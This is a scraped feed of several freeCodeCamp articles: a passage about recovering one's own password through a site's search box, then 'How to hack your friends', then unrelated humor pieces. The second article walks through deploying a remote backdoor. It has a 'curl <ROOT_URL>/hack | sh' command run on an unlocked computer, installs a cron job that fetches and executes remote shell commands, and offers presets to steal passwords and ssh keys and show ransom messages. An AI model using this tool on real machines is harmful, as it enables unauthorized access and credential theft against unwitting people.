<p>First things first: I need to write a client that can programmatically query the search box. This will serve as my substring oracle. Obviously this site has no API, so I’ll need to scrape the website directly.</p>
<p>Looks like the URL format for searching is just a simple query string, <code>www.lettermelater.com/account.php?**qe=#{query_here}**</code>. That’s easy enough.</p>
<p>Let’s start writing this script. I’m going to use the Faraday gem for making web requests, since it has a simple interface that I know well.</p>
<p>I’ll start by making an API class.</p>
<p>Of course, we don’t expect this to work yet, as our script won’t be authenticated into any account. As we can see, the response returns a 302 redirect with an error message provided in the cookie.</p>
<pre><code>[<span class="hljs-number">10</span>] pry(main)&gt; Api.get(“foo”)
</code></pre><pre><code>=&gt; #&lt;Faraday::Response:<span class="hljs-number">0x007fc01a5716d8</span>
</code></pre><pre><code>...
</code></pre><pre><code>{“date”=&gt;”Tue, <span class="hljs-number">04</span> Apr <span class="hljs-number">2017</span> <span class="hljs-number">15</span>:<span class="hljs-number">35</span>:<span class="hljs-number">07</span> GMT”,
</code></pre><pre><code>“server”=&gt;”Apache”,
</code></pre><pre><code>“x-powered-by”=&gt;”PHP/<span class="hljs-number">5.2</span><span class="hljs-number">.17</span><span class="hljs-string">",</span>
</code></pre><pre><code>“set-cookie”=&amp;gt;”msg_error=You+must+be+signed+<span class="hljs-keyword">in</span>+to+see+<span class="hljs-built_in">this</span>+page.”,
</code></pre><pre><code>“location”=&gt;”.?pg=account.php”,
</code></pre><pre><code>“content-length”=&gt;”<span class="hljs-number">0</span><span class="hljs-string">",</span>
</code></pre><pre><code>“connection”=&gt;”close”,
</code></pre><pre><code>“content-type”=&gt;”text/html; charset=utf<span class="hljs-number">-8</span><span class="hljs-string">"},</span>
</code></pre><pre><code>status=<span class="hljs-number">302</span>&gt;
</code></pre><p>So how do we sign in? We need to send in our <a target="_blank" href="http://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work">cookies</a> in the header, of course. Using Chrome inspector we can trivially grab them.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*PSxZtW4wppyzRXMdBWgGWw.gif" alt="Image" width="800" height="421" loading="lazy"></p>
<p>(Not going to show my real cookie here, obviously. Interestingly, looks like it’s storing <code>user_id</code> client-side which is always a great sign.)</p>
<p>Through process of elimination, I realize that it needs both <code>code</code> and <code>user_id</code> to authenticate me… sigh.</p>
<p>So I add these to the script. (This is a fake cookie, just for illustration.)</p>
<pre><code>[<span class="hljs-number">29</span>] pry(main)&gt; Api.get(“foo”)=&gt; “\n&lt;!DOCTYPE HTML PUBLIC \”-<span class="hljs-comment">//W3C//DTD HTML 4.01//EN\” \”http://www.w3.org/TR/html4/strict.dtd\"&gt;\n&lt;html&gt;\n&lt;head&gt;\n\t&lt;meta http-equiv=\”content-type\” content=\”text/html; charset=UTF-8\” /&gt;\n\t&lt;meta name=\”Description\” content=\”LetterMeLater.com allows you to send emails to anyone, with the ability to have them sent at any future date and time you choose.\” /&gt;\n\t&lt;meta name=\”keywords\” content=\”schedule email, recurring, repeating, delayed, text messaging, delivery, later, future, reminder, date, time, capsule\” /&gt;\n\t&lt;title&gt;LetterMeLater.com — Account Information&lt;/title&gt;…</span>
</code></pre><pre><code>[<span class="hljs-number">30</span>] pry(main)&gt; _.include?<span class="hljs-function">(<span class="hljs-params">“Haseeb”</span>)=&gt;</span> <span class="hljs-literal">true</span>
</code></pre><p>It’s got my name in there, so we’re definitely logged in!</p>
<p>We’ve got the scraping down, now we just have to parse the result. Luckily, this pretty easy — we know it’s a hit if the e-mail result shows up on the page, so we just need to look for any string that’s unique when the result is present. The string “password” appears nowhere else, so that will do just nicely.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*cZT37Ji9j8sm8dobFpiAWQ.png" alt="Image" width="468" height="168" loading="lazy"></p>
<p>That’s all we need for our API class. We can now do substring queries entirely in Ruby.</p>
<pre><code>[<span class="hljs-number">31</span>] pry(main)&gt; Api.include?(<span class="hljs-string">'password'</span>)
</code></pre><pre><code>=&gt; <span class="hljs-literal">true</span>
</code></pre><pre><code>[<span class="hljs-number">32</span>] pry(main)&gt; Api.include?(<span class="hljs-string">'f'</span>)
</code></pre><pre><code>=&gt; <span class="hljs-literal">false</span>
</code></pre><pre><code>[<span class="hljs-number">33</span>] pry(main)&gt; Api.include?(<span class="hljs-string">'g'</span>)
</code></pre><pre><code>=&gt; <span class="hljs-literal">true</span>
</code></pre><p>Now that we know that works, let’s stub out the API while we develop our algorithm. Making HTTP requests is going to be really slow and we might trigger some rate-limiting as we’re experimenting. If we assume our API is correct, once we get the rest of the algorithm working, everything should just work once we swap the real API back in.</p>
<p>So here’s the stubbed API, with a random secret string:</p>
<p>We’ll inject the stubbed API into the class while we’re testing. Then for the final run, we’ll use the real API to query for the real password.</p>
<p>So let’s get started with this class. From a high level, recalling my algorithm diagram, it goes in three steps:</p>
<ol>
<li>First, find the first letter that’s not in the subject but exists in the password. This is our starting off point.</li>
<li>Build those letters forward until we fall off the end of the string.</li>
<li>Build that substring backwards until we hit the beginning of the string.</li>
</ol>
<p>Then we’re done!</p>
<p>Let’s start with initialization. We’ll inject the API, and other than that we just need to initialize the current password chunk to be an empty string.</p>
<p>Now let’s write three methods, following the steps we outlined.</p>
<p>Perfect. Now the rest of the implementation can take place in private methods.</p>
<p>For finding the first letter, we need to iterate over each character in the alphabet that’s not contained in the subject. To construct this alphabet, we’re going to use <code>a-z</code> and <code>0–9</code>. Ruby allows us to do this pretty easily with ranges:</p>
<pre><code>ALPHABET = ((‘a’..’z’).to_a + (‘<span class="hljs-number">0</span>’..’<span class="hljs-number">9</span><span class="hljs-string">').to_a).shuffle</span>
</code></pre><p>I prefer to shuffle this to remove any bias in the password’s letter distribution. This will make our algorithm query A/2 times on average per character, even if the password is non-randomly distributed.</p>
<p>We also want to set the subject as a constant:</p>
<pre><code>SUBJECT = ‘password’
</code></pre><p>That’s all the setup we need. Now time to write <code>find_starting_letter</code>. This needs to iterate through each candidate letter (in the alphabet but not in the subject) until it finds a match.</p>
<p>In testing, looks like this works perfectly:</p>
<pre><code>PasswordCracker.new(ApiStub).send(:find_starting_letter!) # =&gt; <span class="hljs-string">'f'</span>
</code></pre><p>Now for the heavy lifting.</p>
<p>I’m going to do this recursively, because it makes the structure very elegant.</p>
<p>The code is surprisingly straightforward. Let’s see if it works with our stub API.</p>
<pre><code>[<span class="hljs-number">63</span>] pry(main)&gt; PasswordCracker.new(ApiStub).crack!
</code></pre><pre><code>f
</code></pre><pre><code>fj
</code></pre><pre><code>fjp
</code></pre><pre><code>fjpe
</code></pre><pre><code>fjpef
</code></pre><pre><code>fjpefo
</code></pre><pre><code>fjpefoj
</code></pre><pre><code>fjpefoj4
</code></pre><pre><code>fjpefoj49
</code></pre><pre><code>fjpefoj490
</code></pre><pre><code>fjpefoj490r
</code></pre><pre><code>fjpefoj490rj
</code></pre><pre><code>fjpefoj490rjg
</code></pre><pre><code>fjpefoj490rjgs
</code></pre><pre><code>fjpefoj490rjgsd
</code></pre><pre><code>=&gt; “fjpefoj490rjgsd”
</code></pre><p>Awesome. We’ve got a suffix, now just to build backward and complete the string. This should look very similar.</p>
<p>In fact, there’s only two lines of difference here: how we construct the <code>guess</code>, and the name of the recursive call. There’s an obvious refactoring here, so let’s do it.</p>
<p>Now these other calls simply reduce to:</p>
<p>And let’s see how it works in action:</p>
<pre><code>Apps-MacBook:password-recovery haseeb$ ruby letter_me_now.rb
</code></pre><pre><code>Current password: <span class="hljs-number">9</span>
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>r
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>rj
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>rjg
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>rjgs
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>rjgsd
</code></pre><pre><code>Current password: <span class="hljs-number">90</span>rjgsd
</code></pre><pre><code>Current password: <span class="hljs-number">490</span>rjgsd
</code></pre><pre><code>Current password: j490rjgsd
</code></pre><pre><code>Current password: oj490rjgsd
</code></pre><pre><code>Current password: foj490rjgsd
</code></pre><pre><code>Current password: efoj490rjgsd
</code></pre><pre><code>Current password: pefoj490rjgsd
</code></pre><pre><code>Current password: jpefoj490rjgsd
</code></pre><pre><code>Current password: fjpefoj490rjgsd
</code></pre><pre><code>Current password: pfjpefoj490rjgsd
</code></pre><pre><code>Current password: hpfjpefoj490rjgsd
</code></pre><pre><code>Current password: <span class="hljs-number">0</span>hpfjpefoj490rjgsd
</code></pre><pre><code>Current password: <span class="hljs-number">20</span>hpfjpefoj490rjgsd
</code></pre><pre><code>Current password: <span class="hljs-number">420</span>hpfjpefoj490rjgsd
</code></pre><pre><code>Current password: g420hpfjpefoj490rjgsd
</code></pre><pre><code>g420hpfjpefoj490rjgsd
</code></pre><p>Beautiful. Now let’s just add some more print statements and a bit of extra logging, and we’ll have our finished <code>PasswordCracker</code>.</p>
<p>And now… the magic moment. Let’s swap the stub with the real API and see what happens.</p>
<h3 id="heading-the-moment-of-truth">The Moment of Truth</h3>
<p>Cross your fingers…</p>
<p><code>PasswordCracker.new(Api).crack!</code></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*NR-y9WthtHg4DVjLDwikVA.gif" alt="Image" width="562" height="442" loading="lazy">
<em>(Sped up 3x)</em></p>
<p>Boom. 443 iterations.</p>
<p>Tried it out on Reddit, and login was successful.</p>
<p>Wow.</p>
<p>It… actually worked.</p>
<p>Recall our original formula for the number of iterations: <code>A(N/2 + 2)</code>. The true password was 22 characters, so our formula would estimate <code>36 * (22/2 + 2) = 36 * 13 = 468</code> iterations. Our real password took 443 iterations, so our estimate was within 5% of the observed runtime.</p>
<p><strong>Math.</strong></p>
<p><strong>It works.</strong></p>
<p>Embarrassing support e-mail averted. Reddit rabbit-holing restored. It’s now confirmed: programming is, indeed, magic.</p>
<p>(The downside is I am now going to have to find a new technique to lock myself out of my accounts.)</p>
<p>And with that, I’m gonna get back to my internet rabbit-holes. Thanks for reading, and give it a like if you enjoyed this!</p>
<p><em>—Haseeb</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to hack your friends ]]>
                </title>
                <description>
                    <![CDATA[ By Chet Corcos My friends often leave their computers open and unlocked. I tell them they should probably get in the habit of locking their computers, but they don’t listen to me. So I’ve created a simple project to hack my friends and show them the ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-hack-your-friends-eef055389344/</link>
                <guid isPermaLink="false">66c3528ec2631756f9f063cd</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 27 Jul 2016 18:46:15 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*CRdFzUjOuDE-qB0ASTk9yQ.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Chet Corcos</p>
<p>My friends often leave their computers open and unlocked. I tell them they should probably get in the habit of locking their computers, but they don’t listen to me. So I’ve created a simple project to hack my friends and show them the importance of computer security.</p>
<p>All I need to do is wait for them to leave their computer unlocked for a few seconds, open up their terminal, and type a single, short command.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/m6THEYS8NfQbc3nmrt1d9xWavmQ0t5UqR7L0" alt="Image" width="800" height="632" loading="lazy"></p>
<p>That’s it! Their computer is now infected and I can run whatever commands I want on this computer remotely. Pretty sweet, right? Or perhaps shocking?</p>
<p>Hacking is illegal. Specifically:</p>
<blockquote>
<p>“intentionally access[ing] a computer without authorization or exceed[ing] authorized access” — The Computer Fraud and Abuse Act (18 U.S.C. 1030)</p>
</blockquote>
<p>So keep in mind that the purpose of this article is to show you just how easy it would be for someone with bad intentions to hack you so you can avoid getting hacked yourself.</p>
<p>It doesn’t take some hacker genius to wreck your life — any “script kiddy” who can gain physical access to your computer can compromise you by downloading a script containing just 50 lines of code.</p>
<h3 id="heading-getting-setup">Getting Setup</h3>
<p>All of the code for this project lives in <a target="_blank" href="https://github.com/ccorcos/hack/">this repository</a> if you want to jump right in, but I’ll explain how it all works below.</p>
<p>First, you just need to clone the repo, install its dependencies, and symlink the <em>hack</em> command line interface (CLI) tool.</p>
<pre><code>git clone https:<span class="hljs-comment">//github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link</span>
</code></pre><p>Next, you need to setup Heroku to host the scripts that will be running on your friends machine. If you’ve never used Heroku before, <a target="_blank" href="https://signup.heroku.com/">signup here</a> (it’s free!) and set up their CLI tool on your machine.</p>
<pre><code>brew install heroku-toolbeltheroku login
</code></pre><p>Now inside the <em>hack</em> repo, create a Heroku app with an easy name to remember. I’m using <em>hacker-chet.</em></p>
<pre><code>heroku create hacker-chet
</code></pre><p>Then you need to run a command to do a little setup. All it’s really doing is getting the root url for your Heroku website and putting it in your <em>package.json</em>. This way the server can inject the app url into the shell scripts.</p>
<pre><code>npm run init
</code></pre><p>You can start up the server locally if you want to hack yourself and test things out.</p>
<pre><code>npm start
</code></pre><p>Or you can deploy to Heroku.</p>
<pre><code>npm run deploy
</code></pre><p>Now you’re ready to hack!</p>
<h3 id="heading-hack-api">Hack API</h3>
<p>The beauty of this program is that to start hacking someone, you just need to run a single command on their machine.</p>
<pre><code>curl &lt;ROOT_URL&gt;/hack | sh
</code></pre><p>_ROOT<em>URL</em> is the specific path to your application. When you’re running the server locally, this will be <em>localhost:5000</em> and when you deploy to Heroku, it will be something like _.herokua_pp.com.</p>
<p>What this does is sets up a cron job — a “chronological job” that reruns tasks at certain times — to ping the <em>/env/live</em> endpoint every minute and pipes the result to <em>sh</em>. It’s actually quite simple! And Heroku gives you HTTPS for free so its “secure” right?</p>
<p>Once you’ve hacked your friend, you can do everything else with the command line tool from your computer.</p>
<p>The <em>hack</em> tool has a concept of different hacked environments. When you hack someone using the <em>/hack</em> endpoint, that person starts off in the <em>live</em> environment. And for each environment, you can run a variety of different commands. I’ll demonstrate everything with a little walkthrough.</p>
<p>The following will rewrite the <em>live</em> environment shell script to execute the following command which will say aloud “I’m watching you.”</p>
<pre><code>hack live exec <span class="hljs-string">"say 'I\'m watching you'"</span>
</code></pre><p>Well it’s not going to work yet, you still have to re-deploy to your Heroku app.</p>
<pre><code>hack deploy
</code></pre><p><img src="https://cdn-media-1.freecodecamp.org/images/lZCEVaEwYojBREkv0FYXOep2WSuzeUFsc7No" alt="Image" width="800" height="632" loading="lazy"></p>
<p>Now wait for the next minute and watch your friend’s computer ping your server by tailing the server logs.</p>
<pre><code>hack logs
</code></pre><p><img src="https://cdn-media-1.freecodecamp.org/images/c9QH5cbuC67pKigu-Tb2k18Yxhlibrhj2usu" alt="Image" width="800" height="632" loading="lazy"></p>
<p>The whole point of environments is so you can hack multiple people at the same time. To isolate people in different environments, you just need to change the name.</p>
<pre><code>hack live rename jon
</code></pre><p>Next time the live environment is pinged, it will rewrite the cron job to start pinging the <em>jon</em> environment instead.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/ocaA9PDrheoOnZd3tgUSjMyuNHGsSFMBBdWn" alt="Image" width="800" height="632" loading="lazy"></p>
<p>You can do everything the same just by changing the environment argument.</p>
<pre><code>hack jon exec <span class="hljs-string">"say 'hello jon'"</span>
</code></pre><p>Now if you’ve had enough fun for the day and the party’s over, you can <em>forget</em> Jon and assure him that you’ve “unhacked” him.</p>
<pre><code>hack jon forget
</code></pre><p>This will erase the cron job from their computer. Or you might want to just put this environment in sleeper-cell mode so you can recover it later.</p>
<pre><code>hack jon interval <span class="hljs-number">1</span>d
</code></pre><p>Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!</p>
<pre><code>hack jon interval <span class="hljs-number">1</span>m
</code></pre><p>Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.</p>
<pre><code>hack jon cron <span class="hljs-string">"0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"</span>
</code></pre><p>P.S. If you don’t remember how cron jobs work, <a target="_blank" href="http://www.nncron.ru/help/EN/working/cron-format.htm">this is a great resource</a>. It pretty much all comes down to this little diagram.</p>
<pre><code>* * * * *| | | | || | | | || | | | +---- Day <span class="hljs-keyword">of</span> the Week   (range: <span class="hljs-number">1</span><span class="hljs-number">-7</span>, <span class="hljs-number">1</span> standing <span class="hljs-keyword">for</span> Monday)| | | +------ Month <span class="hljs-keyword">of</span> the Year (range: <span class="hljs-number">1</span><span class="hljs-number">-12</span>)| | +-------- Day <span class="hljs-keyword">of</span> the Month  (range: <span class="hljs-number">1</span><span class="hljs-number">-31</span>)| +---------- Hour              (range: <span class="hljs-number">0</span><span class="hljs-number">-23</span>)+------------ Minute            (range: <span class="hljs-number">0</span><span class="hljs-number">-59</span>)
</code></pre><p>One of my favorites is the <em>desktop</em> preset which will download an image from a given URL and set it as the background photo.</p>
<pre><code>hack jon preset desktop http:<span class="hljs-comment">//i.imgur.com/5FC2r9R.jpg</span>
</code></pre><p>And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.</p>
<pre><code>hack jon dump <span class="hljs-string">"crontab -l"</span>
</code></pre><p>Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.</p>
<pre><code>hack jon preset passwordshack jon preset ssh
</code></pre><p>But if you just want to give him a good old-fashioned scare, send him a ransom message!</p>
<pre><code>hack jon preset ransom <span class="hljs-string">"Hello Jon, I told you not to leave your computer unlocked."</span>
</code></pre><p><img src="https://cdn-media-1.freecodecamp.org/images/4XvzBEX8686IJ-ZNhlNjyrVIDIGKEY-SOhtK" alt="Image" width="800" height="583" loading="lazy"></p>
<p>Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.</p>
<pre><code>hack jon reset
</code></pre><p>Now go have (responsible) fun with this thing and let me know what your favorite pranks are by <a target="_blank" href="https://github.com/ccorcos/hack">submitting a pull request</a> with a new command or preset!</p>
<p>Happy Hacking!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Tech’s best April Fool’s Day jokes of 2016 ]]>
                </title>
                <description>
                    <![CDATA[ Our open source community tossed around some ideas for April Fool’s jokes. But after we consulted Elon Musk’s flow chart, we decided to leave it to the pros. Fortunately, Google and friends did manage to serve up some absurdity, and in some cases qui... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/tech-s-best-april-fool-s-day-jokes-for-2016-ef0bc1e66950/</link>
                <guid isPermaLink="false">66b8d5a5bebc010ace8fe6e4</guid>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ startup ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Quincy Larson ]]>
                </dc:creator>
                <pubDate>Fri, 01 Apr 2016 03:46:32 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*mnky0HVFUF_R4Gf4YKvAHQ.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Our open source community tossed around some ideas for April Fool’s jokes. But after we consulted Elon Musk’s flow chart, we decided to leave it to the pros.</p>
<p>Fortunately, Google and friends did manage to serve up some absurdity, and in some cases quite literally break the forth wall:</p>
<p>They also introduced a useful new way to use Google Image Search:</p>
<p>And — one of the biggest communication breakthroughs of all time — a new way to end the tyranny of indecisive group emails once and for all:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*1pcc8wWCGgFBXqv6tDQHgg.gif" alt="Image" width="800" height="527" loading="lazy"></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*f0HYPwzw9n-7KvM92s3whw.gif" alt="Image" width="800" height="501" loading="lazy"></p>
<p>Remember the iPad scale app?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*HM3pVArRyHqLQw9RhHlVCA.jpeg" alt="Image" width="550" height="436" loading="lazy"></p>
<p>Well, you may not remember it actually working like in the image above, but surely you remember that conversation at the Genius Bar where you unsuccessfully argued for a refund.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*v2p7U2zB6fAa7iJa364EqA.jpeg" alt="Image" width="650" height="434" loading="lazy"></p>
<p>Well it turns out that touch screen devices can do a lot more than measure your body weight and show you cat videos while you procrastinate on the toilet.</p>
<p>Yuck. Don’t you know how many germs are on your touch screen? Oh, wait — you don’t know the exact number? Well, if you’re a curious cat, here’s a <a target="_blank" href="http://theoatmeal.com/quiz/phone_germs">13-step process for figuring this out</a>.</p>
<p>It will be a few years before self-driving cars are legally allowed on most roads, but you can use a “selfie-driving” car today.</p>
<p>If it seems like Zipcar was trying too hard, trust me — you haven’t seen trying too hard until you’ve played this full length Donkey Kong-style browser game that Stack Overflow built as their April Fool’s joke.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*DeKB-ImHoFeOp5bziRkgQw.jpeg" alt="Image" width="800" height="617" loading="lazy"></p>
<p>That’s right — UniKong!</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*GELT3jVIUv7moVAB_2qdLA.jpeg" alt="Image" width="800" height="690" loading="lazy"></p>
<p>To win, you must avoid the mean unicorn, build up your Stack Overflow-style “rep”, and put the trolls out of their misery.</p>
<p>Yes, this is an actual game, and you yes, you should go play it right now.</p>
<p>What are you doing reading this article?</p>
<p>Click the green heart outline below, then head over and <a target="_blank" href="http://stackoverflow.com/seriously/unikong">play some Unikong</a>!</p>
<p><em>If you liked this, click the? below. Follow me and Free Code Camp for more articles on technology.</em></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*31StU5CNIHk8VDkSHWO6nA.gif" alt="Image" width="738" height="274" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Of hidden features, messages in bottles, and demented bakers. ]]>
                </title>
                <description>
                    <![CDATA[ By Gil Fewster I’ve had enough chocolate over the last few days to last me a lifetime. Or at least until next week. But I’m still thinking about easter eggs and, specifically, easter eggs in software. For the uninitiated, easter eggs is the name of t... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/of-hidden-features-messages-in-bottles-and-demented-bakers-8abfb7eb630/</link>
                <guid isPermaLink="false">66c35c359de50ee9ca7fa719</guid>
                
                    <category>
                        <![CDATA[ business ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ communication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 30 Mar 2016 00:48:36 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*tvnXjRf5i5GH_pZlkmoZfA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Gil Fewster</p>
<p>I’ve had enough chocolate over the last few days to last me a lifetime. Or at least until next week. But I’m still thinking about easter eggs and, specifically, easter eggs in software.</p>
<p>For the uninitiated, <em>easter eggs</em> is the name of those hidden features and secret messages that programmers are so fond of sneaking into their work. These secret messages are entirely incidental to the purpose of the software they’re hidden in; typical easter egg content can include photos or names of the developers, jokey pop culture references, mini games, and other flights of fancy that happen to tickle a programmer’s funny bone*.</p>
<p>Easter eggs can be found within even the most buttoned-down, serious software. Microsoft developers famously hid entire pinball games and flight simulators in early versions of Excel. Google developers are well known for sneaking jokes and animations into their search and maps products. I once released online corporate training software which would play the James Bond theme song if you created an asset with a numerical ID of <em>007</em>.</p>
<p>As corny as they may be, easter eggs bring a warm glow to my otherwise cold, dark heart.</p>
<p>It’s not because they are universally hilarious (they’re not), or because they are the most interesting things to code (they aren’t), but because they’re evidence of something easily forgotten: software, for the most part, is written by humans, for humans.</p>
<p>That may sound obvious, but in truth the relationship between software developer and software user is distant and relatively abstract.</p>
<p>To programmers, users exist in the future. Developers build software with hypothetical users in mind, modeled according to a combination of demographic data and functional requirements. A user is an initiator of system tasks, a bundle of needs which the system is aiming to satisfy. Users are archetypes, not individuals.</p>
<p>And what are programmers to users? Anonymous and impersonal, programmers wrangle impenetrable arcana into page upon page of coded gibberish. Programmers talk to machines so that other people don’t have to (the more unkind amongst you may have even mentally rephrased that to read “machines listen to programmers so that other people don’t have to”).</p>
<p>To the casual observer, raw code resembles functional software in much the same way that a cup of flour, some warm water and a ball of yeast resembles a crusty loaf of fresh bread.</p>
<p>But when your spreadsheet Rickrolls you, or when Google slyly answers your search for “anagram” by asking “did you mean <strong>nag a ram</strong>?”, something cool is happening. For a few seconds the relationship is no longer abstract. It’s personal. The functional process of requirement-task-result is fleetingly replaced with something more like communication.</p>
<p>An easter egg is a conversation between humans. An acknowledgement that no matter how much time and space is between us, this software was made by real people, for real people. Not <em>programmer</em> and <em>user</em>, but <em>me</em> and <em>you</em>.</p>
<p>Finding an easter egg in your software is proof of its human origin, like finding the baker’s fingertip in that crusty loaf of bread we were talking about a couple of paragraphs ago. Except not as disgusting or alarming. And probably the fingertip wasn’t left in there deliberately. I mean, what kind of deranged baker leaves severed body parts inside loaves of bread for people to…actually, you know what? This is a terrible analogy. Forget the whole fingertip thing. I’m sorry I brought it up.</p>
<p>My point (and I can make a point here because, unlike a demented baker, I still have fingertips with which to point) is that I love easter eggs because they’re like handprints in cement or heart-encircled initials scratched onto the underside of a desk. They are a message in a bottle, cast into the ocean and declaring, in the unlikely event that they are found, simply: <em>here we are</em>.</p>
<p>It’s hard to think of anything more human than that.</p>
<p>*You can see a stellar example of an easter egg at <a target="_blank" href="http://digg.com/">http://digg.com/</a>.</p>
<p>Just wait for the page to load and then press the following sequence of keys (use arrow keys for the up/down/left/right — don’t spell out the actual words):</p>
<p><em>up-up-down-down-left-right-left-right-b-a</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Jon Skeet — The Chuck Norris of Programming ]]>
                </title>
                <description>
                    <![CDATA[ By Prosper Otemuyiwa Yesterday, I was on a tweeting spree about Jon Skeet Facts and it occurred to me that putting every thing in just one post would make sense for someone to read, digest & knock his head off laughing than scrolling through my monst... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/jon-skeet-the-chuck-norris-of-programming-ee5781c7e18a/</link>
                <guid isPermaLink="false">66c35940c13ebcbf6017207b</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ social media ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 21 Mar 2016 05:46:31 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*XSef56neX82fAPfHgxQxCw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Prosper Otemuyiwa</p>
<p>Yesterday, I was on a tweeting spree about <strong>Jon Skeet Facts</strong> and it occurred to me that putting every thing in just one post would make sense for someone to read, digest &amp; knock his head off laughing than scrolling through my monstrous <a target="_blank" href="https://twitter.com/unicodeveloper">Twitter</a> timeline.</p>
<blockquote>
<p><strong>First, Who the hell is Jon Skeet and Why is he so famous?</strong></p>
</blockquote>
<p>The answer is simple, Jon Skeet is a senior software engineer currently at Google. He is a C# legend, won the Microsoft MVP award several times and also a Java developer, he actually writes Java at Google.</p>
<p>Jon Skeet became famous on <a target="_blank" href="http://stackoverflow.com/">StackOverflow</a> (#1 programmer resource for finding solutions to problems) and he has maintained the position of being the all-time #1 answerer to programming questions asked on StackOverflow. He has helped millions of programmers by providing quality, descriptive answers to their programming challenges.</p>
<p>One thing that actually struck me about Jon Skeet is that he’s actually a full-time developer employed at an organization, yet takes time out of his busy schedule to share his knowledge and help other programmers. So, we have decided to recognize him for his knowledge, passion and willingness to help fellow programmers get better at their craft by labeling him <strong>the Chuck Norris of programming.</strong></p>
<p>Now, let’s get to it. I’ll ask a second time.</p>
<p><strong><em>Who the hell is Jon Skeet?</em></strong> — asked by a Programmer on StackOverflow.</p>
<p>The answers that followed were <em>exhilarating, hilarious, humorous, and chucklesome.</em> Brace up for a long ride of dying, choking &amp; resurrecting several times on this very long list of responses.</p>
<ol>
<li>Jon Skeet’s code doesn’t follow a coding convention. It is the coding convention.</li>
<li>Users don’t mark Jon Skeet’s answers as accepted. The universe accepts them out of a sense of truth and justice.</li>
<li>Jon Skeet can divide by Zero.</li>
<li>Jon Skeet’s SO reputation is only as modest as it is because of integer overflow (SQL Server does not have a datatype large enough).</li>
<li>Jon Skeet is the only top 100 SO user who is human. The others are bots that he coded to pass the time between questions.</li>
<li>Jon Skeet coded his last project entirely in Microsoft Paint, just for the challenge.</li>
<li>Jon Skeet does not use exceptions when programming. He has not been able to identify any of his code that is not exceptional.</li>
<li>When Jon Skeet’s code fails to compile, the compiler apologizes.</li>
<li>Jon Skeet does not use revision control software. None of his code has ever needed revision.</li>
<li>When you search for <strong><em>“guru”</em></strong> on Google it says <strong><em>“Did you mean Jon Skeet?”</em></strong></li>
